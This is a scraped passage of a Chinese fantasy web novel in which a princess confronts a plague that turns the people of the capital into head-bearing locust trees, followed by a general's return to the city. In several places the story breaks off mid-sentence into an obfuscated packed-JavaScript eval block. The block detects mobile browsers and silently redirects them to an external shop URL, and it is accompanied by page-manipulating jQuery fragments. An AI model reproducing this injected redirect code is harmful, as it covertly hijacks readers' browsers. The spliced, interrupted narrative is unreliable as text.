尸体的手脚无一例外都呈现出木质痕迹,但这种痕迹并没有完全变成槐木,周昭走近道:“看来,这些人都是在变成槐木之前被杀掉的。” 闫斯年把剑用袖子擦了又擦,闻言抬起头道:“坏了!不会总督大人也……” 话音落地,前屋突然传来一声叽叽咯咯的笑声。 那笑声来得突兀,三人一同奔出去,却无半个人影。 闫斯年举着剑,骂道:“何人装神弄鬼!” 庭院空空荡荡,只有槐花香气扑鼻。 闫斯年摇头道:“殿下,看来凶手已经跑了。” 周昭正要回答,那笑声却突然又起! “嘻嘻嘻嘻!” “咯咯咯咯!” 笑声听得人心里发毛,饶是闫斯年这么大的个子也不安起来,又骂:“给老子滚出来!” 周昭叫道:“统领,好像是那槐树。” 原来这阵笑声,正是他们踏进府门看到的那棵大槐树发出来的。周昭这么一说,笑声突然戛然而止。 周昭疑惑不已,她绕至树后,抬头循声望去,猛然间脸色大变,身子竟晃了几下。 裴砚冲上前去扶住周昭,唤道:“殿下?” 闫斯年跟着抬头看去,一看之下刹那间面色如纸,忍不住叫道:“……鬼!!总督大人变成鬼了!” 甫一说完,那阵叽里咕噜的笑声又响彻云霄。 只见眼前这棵巨大无比的槐树上,除了沈博安那张镶嵌在树干上半死不活的脸,枝头竟挂着一棵鲜活的人头! 那人头睁着眼睛,望着他们,叽叽嘎嘎笑个不停。 沈博安终于醒来,见到周昭立刻像见了活爹似的哭喊道:“殿下救我!救我啊殿下!” 沈博安叫得有多凄厉,那人头就笑得有多欢快。 他们一个叫,一个笑,空空荡荡的总督府霎时间好似地府,任谁看到眼前这幅场景都要毛骨悚然。 “……”周昭忍住恶心,“总督大人,这是怎么回事儿?” 沈博安哭丧着脸道:“我也不知道怎么回事儿。” 那日沈博安自北苑回来,当晚就觉得身上使不上劲儿,他想到自己那位新夫人变成槐树之前,也常念叨周身无力。 沈博安心里害怕,于是第二日便告了假。 谁知越是怕什么来什么,沈博安没过几天也长出槐木手脚来,他听说盛都城里这种人都被抓去大理寺,愈发不敢声张,表面是称病不出,实际暗地里遣散家丁,只留下几人为自己寻医问药。 这跟周昭想得八九不离十,那人头笑了会儿,似乎累了,闭着眼睛小憩,但就是这样才愈发可怖。 沈博安喘了口气,又道:“至于这鬼东西!” 沈博安面容扭曲,叫道:“我是真的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周昭从没有将近日盛都城里发生的事儿跟周澈提起过,也特意跟小喜交待过不许多说,周澈整日养病,对槐树异化之事还停留在北苑那会子。 周澈掩住嘴轻轻咳嗽几声,周昭抬手接过药碗,温声道:“五哥,快把药喝了罢。” 周澈仰脖一口气喝完药,他从小喝药长大,如今也不觉得苦。 周澈又想起北苑,叹息道:“我这几日常想,如果我当初收了那姑娘,兴许她也不会死。” “五哥,人各有命,你何苦难为自己的身子。” “小昭,你信命吗?” “……我不信。” 她如今再说这话,已跟当年那个豪言壮志说出“事在人为,不言天命”的小姑娘心境不同。 “我从前信命,如今不信了。”周澈眼中光芒微动,微笑道,“五哥还等着跟你和霍将军去看看北疆雪山。” 二人说了会儿话,周澈睡下后周昭才离开。 出了泰华殿,天色晦暗不明,周昭叹息道:“裴砚,你说我这是怎么了......我心里总觉着不踏实。” 裴砚跟在周昭身边,安慰道:“殿下,会好起来的。” “......但愿如此吧。” 78. 第 78 章 宣庆二十五年,是周朝史上槐树开花最早的一年。 这年春天,槐树花香飘香十里,经久不散。 但盛都城上上下下,没有一个人愿意闻到这股沁人心脾的花香,百姓称之为“槐鬼年”。 起初闫斯年只是在南衙腾了几间杂房,来关那些被槐树异化的人,后来发现根本用不着腾出房间。 因为这些关进南衙的人,很快长成了像沈博安那样高大的槐树。一旦槐树生根,这个人就会长在原地无法动弹。 更离奇惊悚的是,槐树生根以后,等到槐花盛放之时,便会悄无声息地在某天清晨长出人头。 起初是一颗,后来慢慢地变成两颗、三颗...... 沈博安那棵槐树,短短两个月已经长出五颗人头! 南衙校场一眼望去,成了片郁郁葱葱繁花紧簇的槐树林。 周昭走近校场,沈博安最先发现她,叫道:“殿下!” 一呼百应,槐鬼上的人脸几乎全部睁开眼睛,齐声唤道:“殿下!” 裴砚阻拦道:“殿下,还是别靠太近得好。” 周昭站在围栏外,见沈博安那棵槐鬼下面站着的,是那日他们在沈符碰见的那位家仆,家仆手中捧着一副碗筷,站在一架梯子上,十分尽心尽力地往沈博安嘴里喂饭。 说来奇怪,这些人虽然变成槐树,却胃口依旧,甚至出奇得好。 沈博安嘴里一边大嚼一块羊腿,一边唤道:“殿下,您到底想出什么法子没有?” 裴砚低声骂道:“吃都堵不住嘴!” 旁边的槐鬼十分羡慕地看着沈博安吃得满嘴流油,舔了舔嘴巴,说道:“兄弟,劳驾给点吃的!” 哪怕是在这片槐鬼林里,也能一眼看出高低贵贱来。有钱有权的,就算变成槐鬼也有仆人跟着伺候,没钱的,也只能眼巴巴望着别人享福。 周昭问闫斯年:“统领,咱们安排送饭的人听说昨天跑了几个,可补上了?” 闫斯年小心地捂了捂面巾,答道:“回殿下,补了两个,只要银子到位,掉脑袋……不,长脑袋的事儿也有人愿意干。” 闫斯年说完,觉得这话配上眼前沈总督挂满了五颗脑袋的模样,实在憋不住地好笑,于是自己忍不住先笑了一声。 周昭见他笑个不停,微微蹙眉道:“统领。” 闫斯年应道:“殿下还有什么吩咐?” 闫斯年在回话,笑声却没停。 裴砚走近一看,提醒道:“殿下,是那槐鬼在笑。” 果然,沈博安那棵槐鬼上其中一颗脑袋睁开眼睛,就是他叽叽咕咕在笑。 笑声惊扰了附近其他槐鬼,左右各有两个人头也开始嘻嘻哈哈笑个不停。 那梯子上站着的沈家仆人终于不再淡定,手一抖摔了碗,却没摔碎,那碗鬼使神差地被另一只“手”接过去,沈博安旁边那个一开始就眼巴巴望着羊腿的家伙“双手”捧着碗埋头大吃起来。 闫斯年惊讶道:“槐鬼活了!那藤蔓竟然会动!” 啃着羊腿的人听见这么一句,才反应过来是什么东西正在往自己嘴里喂饭,当即大叫一声“妈呀!”。 这回那只碗结结实实掉在地上,藤蔓也随之垂落下去不动了。 远远走过来的周驰看见这一幕,右手按在剑上,边走边道:“难道槐鬼能听人的话?如果是这样,槐鬼留不得。” 这话落入沈博安耳中,他面色煞白,叫唤道:“大殿下!是我呀,博安!” 周驰没有理会,周昭回头道:“大哥,你来了。” 她见周驰装扮与寻常无异,不像他们皆覆着面巾,担忧道:“大哥,你怎么……” 周驰摆一摆手,无所顾忌道:“难道我把脸遮起来,这东西就怕我了吗?” 他们这么做并无依据,只是图个心安,周昭也不能再劝什么。周驰听见槐鬼笑声愈发烦躁,几次想拔剑出来,忍了又忍,问道:“斯年,今日增加了几个?” 闫斯年回禀道:“不大好,增加了三十五个。” “三十五个?”周驰恼怒道,“这样下去我盛都岂不全是槐鬼,不剩人烟了?” 前来宣旨的李德海恰好听见这么一句,冷汗涔涔,并不敢靠近校场,只远远地躬身唤了句道:“平南王!公主殿下!陛下有请。” 二人马不停蹄入宫,不过数日未见,宣庆帝仿佛老了十多岁。 他略抬了抬沉重的眼皮,说道:“皇儿们来了,坐。” 待他们坐定,宣庆帝问道:“槐鬼一事,可有进展?” 均不作答。 宣庆帝心中了然,复叹息道:“要是国师还在......你们二人都说说,槐鬼从何而来?” 周驰沉吟道:“槐鬼最早是在沈博安夫人身上发现的,儿臣也去查过那女子,家世清白,并未发现有什么不同。但北苑那日,有一个人出现的突然。” 宣庆帝道:“接着说。” 周驰道:“黎国谢景。” 周昭一听,急道:“大哥,长淮那天刚到盛都,而沈夫人数日前就发现端倪,你也是知道的。” 周驰不慌不忙道:“谢景说是刚到,谁知道他哪天来的盛都?或者有没有派其他人来盛都。” “大哥——” 宣庆帝抬手道:“不要再争了!” 他面色沉沉,问道:“明鸢,你认为不是谢景,那你说说。” 宣庆帝话里话外已信了三分,周昭不由斟酌道:“去年年前,儿臣去了趟苍界山,那时候就看见沿路槐树雪日开花,虽然惊讶却没当一回事儿。等到上山,又发现师父的坟墓被盗。眼下出了槐鬼,儿臣在想,这两件事之间莫不是有什么关联......” 宣庆帝凝眸道:“说来听听。” “师父一生未曾听说过有仇家,坟墓被盗,儿臣唯一能想到的,就是几年前......” 周昭略作停顿,继续道:“儿臣与长淮抓来那疟鬼......” 宣庆帝神思恍惚,喃喃道:“明鸢不提起,朕都要忘了......” 周昭道:“听说疟鬼被师父镇压在龙脊山下,儿臣想求父皇恩准,让我前去看看。” 宣庆帝眯起眼眸,问:“你可知道龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然是上坡的山路,周驰走起来却四平八稳,这么多天每日都被困在禁军营里,倒让人忘了平南王也是位战功赫赫的将军。 既然开了头,就没有不说下去的道理,周驰继续道:“小妹,你还记不记得咱们那位老祖宗,成祖皇帝。” 周昭点头道:“记得,他是自圣祖皇帝之后再次一统天下的皇帝,周戈言。” “我大周自圣祖皇帝一统天下,四海无不臣服。但这一弊端,也在数百年后显现出来。由于天下久无战事,先祖们居安不思危,周朝一度陷入四分五裂的诸侯混战。成祖皇帝就是那时候出生的,周戈言,意在止戈纳言。他的确不负众望,再度实现大一统。” 周驰提起这位已故君主,言语间满是钦佩,末了又道:“成祖皇帝封禅龙脊山,又让万名俘虏修建了这座七宝玲珑塔,耗时整整七年,里面堆满了奇珍异宝。不过……据传由于连年征战死的人太多,这座宝塔阴气过重,修建好之后不久,成祖一命呜呼,宝塔也从此被封印起来,后人再不能打开。” 79. 第 79 章 周昭默默听着,感叹道:“都说成祖千古一帝,却只活了短短三十六年……” 周驰语气隐隐激动道:“三十六又如何?若能像成祖再度一统天下,哪怕是即刻死了,也是值得。” 身后突然传来一声低笑,周驰回过头,见在笑的是周昭身边跟着的少年,不满道:“为何发笑?” 裴砚表面恭敬,实在大胆道:“我笑大殿下学什么不好,竟想学周戈言。” “老祖名讳,也是你这小儿直呼的。”周驰眉宇间压着怒气,周昭忙道:“大哥莫要生气,他刚来公主府不懂规矩,我回去定好好罚他。” 周驰自然不会放下身段跟一个十七八岁的少年计较,但他心中不快,一路都没再说什么话。 等到了龙脊山镇压疟鬼的山腰上,那是一排建于成祖时期的低矮瓦房。据说本来是那些修建宝塔的俘虏住的,后来垮的垮,塌的塌,如今就剩这么几间还孤零零立在山上。 周昭率先弯腰进去,里面漆黑一片,裴砚点了火把举起,黑暗中蓦地露出一双血红的眼睛。 周昭认出这是当年在三苗抓到的疟鬼,走近一看,疟鬼好端端地坐在瓦房里,双脚被铁链缚着,脖子上仍是一圈黑线。 周昭不由想起那时候疟鬼突然扭断自己脑袋的一幕,总觉得那颗头如今也摇摇欲坠。 周昭问道:“你……还记得我吗?” 疟鬼一言不发,周昭道:“那你还记得我师父吗?他叫江梅棠。” 疟鬼还是没反应。 周昭道:“……我师父,他死了。” 听到这里,疟鬼露出一丝说不上来的恐怖神情,他蠢蠢欲动,铁链哗哗作响,眼神仿佛要把周昭活吞下去。 周驰皱眉道:“小妹,你看他这幅样子,难道还能去偷国师尸骨吗?” 周昭叹了口气,这瓦屋破破烂烂,的确跟槐鬼扯不上半点关系。正要离开,疟鬼突然双目圆睁,喃喃道:“众叛亲离,永世堕鬼……” 周驰回头问道:“他在念叨什么?” 周昭却听清了,这两句话仿佛一个鲜明的诅咒,让她一瞬间就掉进当年那个诡异的山洞,不由脸色发白,强撑道:“大哥,我们快走罢。” 裴砚面露担忧,疟鬼突然大叫道:“你们兄妹二人,必有一死!活下来的那个将众叛亲离,永世堕鬼!” “混账!”周驰拔剑回身,不待刺出,疟鬼却反扑上来,长剑顷刻间捅穿了他的身体。 下山路上,众人皆心事重重,一路无话。 周驰在宫外早有府邸,并不与周昭同路,进了城门便各自散了。 往日热闹无比的皇都大街此刻繁华不再,商铺关了近半,来往行人皆神色匆匆,并不过多逗留。 周昭牵着狼牙,几个月前她随北疆军回城之景象历历在目,心情愈发沉重。 咚、咚、咚! 突如其来的声音在这略显空荡的大街无比清晰,伴随着这个声音的,还有断断续续的哭声。 周昭驻足道:“裴砚,你听什么声音?” 裴砚侧耳聆听,回答:“像是斧子在砍什么东西。” 二人循着声音走近一间半开着的铺子,背影是个男人正挥着手里的斧头,一下又一下,咚、咚! 那斧头锋利无比,闪着寒光。 旁边地上坐着个泪流满面的妇人,用手捂住了怀里孩子的眼睛。 裴砚上前拍了拍男人肩膀,对方回过头,露出一张痛苦而扭曲的脸,他手里斧子原来砍的不是别的,正是他那已经变成槐木的左腿! 周昭大惊失色,冲上前去夺去男人手中斧头,质问道:“你在干什么!” 男人左腿一半血肉模糊,一半则是刀口错乱交杂的木头,鲜红的血水混着绿色的槐树汁液汨汨流淌,渗进土里呈现出一种诡异的黑来。 “给我!”男人抢过斧头,他因为剧烈的疼痛而面色发白,红着眼喝道:“不砍掉!难道要变成那种怪物吗!” 正要再砍,女人怀里的孩子突然哇哇大哭,男人举着斧头的手抖个不停,大叫一声,丢开斧头,喊道:“救救我们!谁来救救我们?” “爹!爹,我怕......” 一家三口抱头痛哭,裴砚拉住周昭,低声道:“殿下,别靠太近。” “......您是、是明鸢殿下吧?”女人抬起眼睛,周昭嘴唇微微翕动,女人愈发肯定,叫道:“是殿下!我从前在苍界山见过您,殿下,求求您救救我丈夫,殿下!” 女人声嘶力竭,裴砚简直不能将她的双手从周昭衣摆上拿开,随即越来越多的人纷纷打开门窗跑到大街上,最先跑来的男人扑到周昭面前跪下,连连磕头道:“殿下,求求您救救我儿子!” 周昭弯腰欲扶:“您先……” 又有人跪在周昭身边,痛哭流涕道:“殿下,您跟着国师在苍界山学艺多年,一定能救我们的吧!殿下,求您再发发善心!” “我……大家先起来,好吗?” “殿下,我不想变成那幅鬼样子!一定还有什么法子的吧!” “啊啊啊啊!我的胳膊!” 有人当场异化,但阻挡不住越来越多的人朝着这个方向涌过来,尖叫,拥挤,密不透风。 周昭简直要无法呼吸。 越来越多的人挤进这间小小的铺子跪在周昭脚下,面前那一只只朝她伸过来的手,一双双朝她望过来的眼睛,每个人的脸上都写满了深刻的恐惧跟热切的期望,每张嘴都在不约而同地说: 救救我。 救救我! 救救我!!! 他们默默无闻地忍受了几个月,看着身边一个又一个亲人变成挂满人头的槐鬼,听着树干上传来惊悚的笑声,已经到了接近崩溃的边缘。 他们看见周昭,就像溺水的人看到一根稻草,哪怕一根稻草并不能承担所有的重量,但此时此刻,这根浮在水面上的稻草就是他们全部的希望。 裴砚压低声音道:“殿下,人太多了,先离开。” “……不,我不能走。” 裴砚眉头紧锁,周昭冷静道:“如果我走了,百姓会认为皇室已经放弃了他们,我不能走。” “可……” “裴砚,你别说了。” 周昭仿佛被槐鬼按进行人岭那个密不透风的漩涡底下,水流淹过头顶让她濒临窒息,但有一个声音却像那时候一样愈发清晰而坚定: 我不能走。 我是百姓信奉的皇女,哪怕天命要亡我大周,我也要把这天命反过来! 一股热血直冲头顶,周昭高声道:“大家听我说。” 人们停下哭喊,等待着,等待着周昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周驰道:“这次不一样,是它自己掉下来的。” 闫斯年问道:“可这人头为什么无缘无故掉下来……下官觉得这其中似有不妥……” “斯年,我沈某平常待你不薄,你说这话,几个意思?”沈博安挑起眉头,不知是不是因为少了一个人头,他的脸色也比昨日红润些。 闫斯年连忙叠声说了几个“不敢”,退到一边不再言语了。 几人围着槐鬼转来转去,始终参不透玄机。 校场上除了沈博安那槐鬼上的人头是睁着眼睛,其余大多闭着眼睛仿佛在休息。 隔壁那位贪吃的兄弟小声道:“各位大人……有没有可能……我们身上挂着的这些人头要长大了,才会掉下来?就像……像结、结结果子、子……” 他说得磕磕巴巴,有人噗嗤笑出声来。 “谁、谁在在笑……” 这下不是一个人,而是一片人都开始叽叽咕咕哈哈大笑。 那些人头此刻都醒过来了,睁着眼睛笑个不停,越笑声音越尖利,人头随着笑声摇摇欲坠,简直好像快要从枝头掉下来一样。 周昭忽然想起什么,问道:“闫统领,你还记不记得我们去沈大人府上那天,人头是不是都在笑?” 闫斯年点点头,周昭叫道:“我知道了。” 周驰立刻明白过来周昭的意思,接着道:“也许,他们笑够了就会掉下来。” 80. 第 80 章 南衙十六卫自建成以来从没有像现在这样热闹过, 校场笑声一片,却不见人影,只有参天槐树枝繁叶茂间露出一颗颗高悬的人头来,就是他们在一刻不停地发出笑声。 沈博安掉了的那颗人头没有再长出来过,这个消息犹如一阵春风吹进这片槐鬼林,继而吹向整个盛都城。 人们自发地开始没日没夜给悬在枝头的人脑袋讲笑话、逗乐子。这些人头也不负众望,笑得越来越大声,越来越开怀。 皇城上空笼罩着一层快乐而又阴郁的双重氛围,不过随着树上的人头一颗颗掉下来,这层阴郁仿佛逐渐远去。 虽然每天都有人变成槐鬼,但人们不再愁眉苦脸,而是极尽所能逗那些人头发笑,甚至连消失许久的杂耍班子都重新回到人们的视线。 但每个人一边笑一边忍不住在心里想:等到这些人头掉光,槐鬼真的会变成人吗? 他们往往刚起了这个念头,又立刻打了个冷颤不敢再继续往下想,于是转头兴高采烈地加入逗乐子大军,让自己沉浸在对未来的美好期许里。 整个南衙这么多天的苦闷压抑一扫而空,取而代之的亦是无边无际的快乐。 这种快乐随着沈博安最后一颗人头落地戛然而止。 那颗人头笑够了,轻轻颤了几下,就像果子成熟后枝桠再也无法承担它的重要,喀嚓一声掉下来,滚进泥土里渐渐化成一滩脓水。 沈博安眼里闪着极度兴奋的光芒,吃了几个月的大鱼大肉让他的脸色十分健康红润,让人毫不怀疑沈总督恢复到原本的样子,一定会毫不费力地策马挥鞭,然后头也不回地离开南衙这个鬼地方。 “哈哈!我就要……” 沈博安眼里的兴奋就像一道划过天际的闪电,他的脸迅速变成跟树干一样的棕绿色,速度之快,待周昭他们反应过来时,人脸已经完全消失不见了。 树干上只剩下巴掌大一块凹凸不平的印记,那块树皮远远看去就像是一张生动而鲜活的脸。 “沈、沈大人呢……”闫斯年惊讶道。 周驰亦唤道:“博安?” 回答他们的是裴砚冷静而漠然的语气:“他死了。” …… “啊啊啊啊!!!” 尖叫声此起彼伏,南衙瞬间又变成暗无天日的地狱,甚至较从前更甚。 闫斯年难以置信道:“这是怎么回事儿!不是说,不是说人头掉光……” 闫斯年的后半句话很快被淹没在浪潮般的尖叫声中,槐鬼们长在树干上的那张原主的脸面容扭曲,撕心裂肺地尖叫着。 相反,枝叶间挂着的人头却好像听见了比从前好笑过一百倍、一千倍的笑话。 笑得头颅发颤,笑得尖叫声连连。 周昭脸上血色褪尽,喃喃道:“为什么会这样……” “都怪你们!!” 一个槐鬼大叫着,藤蔓竟好像活过来似的,被他操纵着向这个方向而来。 裴砚右手护住周昭,左手按在剑柄。 这时一道锋利的剑芒一晃而过,折杞挡在周昭跟周驰二人身前,伸过来的槐鬼藤蔓被削掉半截,痛苦地向后退去。 周驰打量着这十六岁少年,于混乱中赞道:“剑法不错。”折杞慌忙收了剑,低着头立于一旁站好。 周驰向前几步,喝道:“不想死的,安静!” 槐鬼齐刷刷望过来,笑声尚未停,周驰语气含威,拔剑道:“胆敢有人再像刚才那样,我手中这剑不会留情。” 虽然被砍掉枝蔓不会死,但会让人砍掉手脚一样很痛,加之周驰那把剑寒光凛凛,一时竟无人敢再有什么动作。 周昭道:“大家听我们说,人头掉光就会像沈总督那样,所以,恳请大家先不要讲话,至少不要再惹人头发笑。” 她语气温柔坚定,几乎算得上哀求。 于是,槐鬼们一个个安静下来,一时间几乎鸦雀无声,回响了数日笑声也渐渐平息,人头接连闭上眼睛休息去了。 闫斯年不由问道:“二位殿下,如今该怎么办?” 周昭一筹莫展,周驰亦然。裴砚眉头紧锁,显然也没有什么好的法子。 沈博安身边的那棵槐鬼几乎是哭丧着脸,小声恳求道:“大人,我、我不想死。求求你们……” “大人,我不想死啊啊啊……” 周昭简直不敢看那一双双眼睛。 她落荒而逃,却在回宫路上碰见了周澈。 虽然春日将尽,周澈依旧裹着件雪色貂毛大氅,连绵数月的病气让他整个人瘦削且苍白。 他温温柔柔地冲周昭笑了笑,眼中流露出一缕哀伤。 “……小昭,你还好吗?”周澈将手放在周昭肩头,那只手并无多少力气,却仿佛有什么神奇的魔力,将她这些天的疲惫一扫而空。 周昭抬头道:“五哥,你怎么出来了?” 周昭声音有几分喑哑,二人走在砖红宫墙底下,裴砚牵着马默不作声跟在身后。 “我来看看你。” “理应我去看五哥才是,唉,你这病……” 周澈不甚在乎地笑了笑:“每年过了冬总要病一场的,捱过就好了。” 他们不约而同地没有提起盛都城里的槐鬼,周澈虽然被周昭瞒着,但纸总归保不住火。就像周澈早晚会知道,盛都城外也早晚有一天会知道。 这条宫道十分漫长,周澈走两步咳一声,听得周昭心脏阵阵紧缩,想招呼宫人抬软轿来,周澈按了她的手,侧身微笑道:“小昭,听说苍界山有一处神女殿,你去过吗?” 周昭的脸唰地一下就红了,嗫嚅道:“……五哥莫拿我取笑。” “你出生那日,百鸟绕殿,乃是百年不遇的祥兆。父皇赐你明鸢二字,可见寄予厚望。加之两年前,百姓感念你救了他们,因缘种种所以才有了那座神女殿,小昭无需妄自菲薄。不过……” 周澈停顿片刻,一丝担忧浮现在他那双清澈见底的眼眸里,他轻声道:“人能造神,亦能毁神……我听说你前些日子在宫外许了个不小的愿,小昭,你有没有想过,万一这愿……” 周澈一口气说了许多话,又开始捂着胸口咳。 周昭轻拍着他的背,只觉薄薄一片,跟着难过起来,回头道:“裴砚,传轿来。” “……五哥是怕我不能还愿,百姓砸了苍界山那座殿吗?”周昭莞尔笑道,“我本就不是什么神女,一介凡人却被抬进庙宇供着,这可不是什么好事儿,砸了就砸了。” “殿下,莫要说这种话。”身后传来裴砚的声音,他眉头微蹙着,小声道,“……不吉利。” 周昭惊讶道:“裴砚,你还信这个?” 裴砚点头道:“殿下的事情,我信。” 周澈好奇道:“小昭,你这位侍从以前很少见呢。”他又一笑,“对你倒很忠心。” 周昭眉眼弯弯,说道:“裴砚是我的朋友,北疆来的,五哥你不是一直想去北疆看看吗?等霍将军下次回来,你身子也大好了,我去求父皇准我们同去。” “好,多好的事儿啊。” 软轿说着话便抬来了,周昭扶着周澈上了轿,接着刚才的话说:“五哥,你信我吗?” 周澈点点头,周昭凝着他那汪清泉般的干净眸子,将她这数月的心慌和恐惧映照得无处遁形,一下子就消散了。 于是周昭现在心里只剩下一如既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937800|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往的坚定和勇气,一字一句道:“五哥放心,明鸢既然在人前许了愿,一定会有还愿那一天。” 南衙校场已经不够安置槐鬼,盛都城一下子从极乐之巅重新跌回现实。 若说刚出现槐鬼只是小范围的恐慌,现在沈博安的死,无疑让这份恐慌爆炸,成了让每个人都脸色发白的恐惧。 皇城前一日还热闹非凡,到处都是杂耍戏班只为博槐鬼一笑,一夜之间又恢复成几月前的萧索沉寂。 即便有不怕死做些买卖的小商贩也不敢高声语,生怕引得家中有槐鬼的人家不满,更怕听见那让人毛骨悚然的笑声。 申时刚过,便家家户户大门紧闭,安静得没有一丝人气。 唯一日夜不停在这城内游荡的,就是北衙禁军。 他们穿盔带甲,皆配腰刀,为首的那个少年将士一双眼睛亮如繁星,生怕错过了一个胆敢偷偷溜出城的。 这少年便是折杞,那日校场过后,周驰便让他做了这北衙巡查头领。 “参军,这小子趁黑想溜出城!”禁军扭送着一个三十几岁的男人,押到折杞面前,刀背在男人膝弯猛击一下,男人哎哟一声扑通跪地。 折杞皱了皱眉,这样一张长久生活在异国他乡,需要看人脸色,并且还很少年气的脸,是摆不出能震慑他人的神情来的。 于是他接下来说的话,也并没有起到多大作用。 “你打痛他了。”他说。 身后众人开怀大笑,这些都是北衙里多少年的兵溜子,哪个不和权贵沾亲带故,在槐鬼没有落到自己身上前,是不能指望他们有所顾忌的。 譬如那头先说话的禁军,就是礼部尚书李知远的亲侄子李勇,同样是一脸兵痞模样,又道:“参军,对付这样的滑贼,就得打,打痛了他才长记性。” 趴在地上的男人抬头道:“大人,您发发慈悲放我出城吧!我不是周朝人,我是姜国来做买卖的!” 折杞心中起了恻隐之心,又想到人人都有家可回,唯独自己飘零不定。 他双手将那人扶起来,柔声道:“皇城贴的告示你可看见了?如今没有腰牌,一律不准出城的。” 男人手忙脚乱,眨眼间将自己脱了个精光。 禁军们哈哈大笑,男人近乎乞求道:“大人您看,我没被传染,就算放我出去也不会怎么样的。我求求您了,大人,放我出去吧!” 正值深夜,男人的呼叫声异常响亮,好在这里靠近城楼并无闲人,亦无槐鬼。 折杞正为难,李勇突然撤了抵在男人腰间的刀背,调笑着问道:“靖王殿下,您说放不放?” 靖王这个封号于折杞而言可谓避之不及的屈辱。 数月前岭夏王病故,将王位传给自己的儿子,也就是折杞的表哥。这位新的岭夏王即位后第一件事,就是派人送来周朝一封书信,信中封自己的表弟为靖王。 折杞兀自攥紧拳头,男人却不知这其中因果,还当真是哪位皇亲贵胄,观他不语,喜不自胜,捡起衣服向城门口奔去。 “靖王殿下,听说您围猎那日捕了不少猎物,才当上的这个官儿,依您看,我这箭术……” “不要!” 离弦之箭岂有收回之理,据城门口仅有一步之遥的人被当胸射穿,一丝声音都没发出来,就直挺挺地倒下去。 射箭之人正是抓他来的那名禁军,事发突然,折杞不由面色发白,李勇轻描淡写收了弓,笑道:“我这箭术,比之您的如何?” 若有出逃者,先空弦示警,若不停步,则射其脚下,仍不停步,即可射杀。 折杞望着城门口的尸体,再抬头已是面色平静,微微笑道:“箭术高明,我自愧不如。” 81. 第 81 章 李勇昂着头,走到那具尸体面前,抽出剑挑开旁边的包裹,金银细软从包裹里滚出来,李勇回头叫道:“兄弟们,拿些吃酒去。” “何处有酒吃?” “当然是——”李勇对这声音并不耳熟,纳闷地回过头。 城门外,一支军队浩浩荡荡而来,为首的是个身穿银甲红袍的女将军。 她眉骨比常人略高,一双凤眼凌厉有神,左眼之下有一颗小小的红痣。下巴微抬,左手握着缰绳,右手软鞭折了三股,在腿上随意拍打着。 □□那匹马颜色雪白,浑身皮毛泛着银光,马首鬃毛用红绳束了几股细细的辫子,辫尾坠着一串银铃。 纵使不认得来人是谁,李勇也听说过这匹白马的名号。 十年前,盛都城霍行野跟兰家独女兰令仪大婚,皇帝亲赐两匹千里马,一黑一白。 那匹黑马几个月前李勇有幸见过,也是鬃毛绑着几缕细辫,眼前这匹白马的主人,自然就是驻守南疆的兰令仪了。 李勇当即放下剑,跪地拜道:“兰、兰将军。” 不知兰令仪看见他射杀这人没有。 李勇阵阵心惊,马蹄声响了几下,兰令仪居高临下看了看地上新鲜的尸体,随后冷冷的声音自高头大马传下来:“我问何处有酒吃,你这么慌做什么?” 李勇冷汗涔涔,兰令仪目光扫了一圈,落在折杞身上,手中软鞭一指,问道:“你是管事儿的?” 折杞虽没见过兰令仪,但不至于没听说这位性情刚烈的女将军,垂首应道:“是我。” 兰令仪打量着眼前十六七岁的少年,以为又是沈博安哪门子亲戚,不由嗤笑一声,问道:“我问你,这死人是怎么一回事儿?” 李勇眼神求救,折杞目光抬了抬,答道:“将军,城中有宵禁,此人......违禁了。” “哦,违禁了......”兰令仪将他的话低声重复一遍,正当李勇以为躲过一劫,眼前骤然一亮,鞭声呼啸而来,肩膀连着后背随即传来一阵火辣辣的疼痛。 李勇被这当头一鞭抽中,忍不住叫了一声,那条软鞭仿佛银蛇摆尾,抽完了他又好端端收回兰令仪手中。 眼前这一切发生得太快,折杞险些躲避着后退半步,到底忍住了。 兰令仪低着头理了理手中的鞭子,慢条斯理道:“本将军在外头打了胜仗,沈博安就是这么派手底下的人来迎我的?” 兰令仪的父亲去年病故,她本该早就回盛都守孝,但那时南疆冒出来一股子流匪,剿匪耽误了一年,皇帝特批一道圣旨许她回京。 不过这早已是狩猎前的事儿,所以兰令仪尚不知盛都城这几月发生了什么翻天覆地的大事,更不知道她口中的沈博安早已魂归九泉了。 李勇一听愈发来气,他虽比不上皇亲国戚,但也是这禁军里面有头有脸的主儿,如今兰令仪刚回宫就劈头盖脸抽他一鞭子,让他今后的脸还往哪儿搁。 李勇忍者肩头剧痛,拍了怕官服站起来,道:“兰将军说的哪里话,我们奉命例行巡查,可没接到迎将军进城的旨意。” 李勇刚才被吓破了胆,此刻反应过来,自己是奉命行事,怕她兰令仪做什么,于是话语间自然带了几分不满跟胆气。 谁知话音刚落,又一鞭子抽下来。 虽然李勇这回有所防备,躲得及时,还是被鞭子带到了脸颊,划出一道血痕。 